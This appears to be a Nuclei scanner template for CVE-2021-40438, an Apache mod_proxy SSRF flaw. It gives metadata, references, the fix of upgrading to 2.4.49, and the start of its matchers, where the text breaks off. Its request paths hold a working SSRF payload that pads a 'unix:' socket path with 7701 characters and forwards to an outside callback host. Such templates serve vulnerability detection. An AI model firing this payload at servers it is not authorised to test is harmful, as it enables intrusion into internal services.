id: CVE-2021-40438 info: name: Apache <= 2.4.48 - Mod_Proxy SSRF author: pdteam severity: critical description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user. remediation: Upgrade to Apache version 2.4.49 or later. reference: - https://firzen.de/building-a-poc-for-cve-2021-40438 - https://httpd.apache.org/security/vulnerabilities_24.html - https://nvd.nist.gov/vuln/detail/CVE-2021-40438 - https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf - https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 9 cve-id: CVE-2021-40438 cwe-id: CWE-918 epss-score: 0.9712 epss-percentile: 0.99746 cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: apache product: http_server tags: cve2021,cve,ssrf,apache,mod-proxy,kev http: - method: GET path: - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{randbase(5)}}.com/' - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://oast.pro/' host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - "!contains(body_1, '